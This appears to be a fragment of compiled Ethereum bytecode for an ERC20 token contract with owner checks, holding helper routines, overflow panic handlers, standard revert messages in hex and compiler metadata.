01527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612157602283611a64565b9150612162826120fd565b604082019050919050565b5f6020820190508181035f8301526121848161214b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6121c282611b55565b91506121cd83611b55565b92508282019050808211156121e5576121e461218b565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f612245602183611a64565b9150612250826121eb565b604082019050919050565b5f6020820190508181035f83015261227281612239565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6122ad602083611a64565b91506122b882612279565b602082019050919050565b5f6020820190508181035f8301526122da816122a1565b9050919050565b5f819050919050565b5f819050919050565b5f61230d612308612303846122e1565b6122ea565b611b55565b9050919050565b61231d816122f3565b82525050565b5f60c0820190506123365f830189611d39565b6123436020830188611bf9565b6123506040830187612314565b61235d6060830186612314565b61236a6080830185611d39565b61237760a0830184611bf9565b979650505050505050565b5f8151905061239081611b5e565b92915050565b5f805f606084860312156123ad576123ac611af3565b5b5f6123ba86828701612382565b93505060206123cb86828701612382565b92505060406123dc86828701612382565b9150509250925092565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612440602583611a64565b915061244b826123e6565b604082019050919050565b5f6020820190508181035f83015261246d81612434565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6124ce602383611a64565b91506124d982612474565b604082019050919050565b5f6020820190508181035f8301526124fb816124c2565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61255c602983611a64565b915061256782612502565b604082019050919050565b5f6020820190508181035f83015261258981612550565b9050919050565b5f61259a82611b55565b91506125a583611b55565b92508282026125b381611b55565b915082820484148315176125ca576125c961218b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61260882611b55565b915061261383611b55565b925082612623576126226125d1565b5b828204905092915050565b5f61263882611b55565b915061264383611b55565b925082820390508181111561265b5761265a61218b565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201312dd762792522f6f6427ce4d8fd11126f74a3e44c485d5276fbded061b6f0064736f6c634300081a0033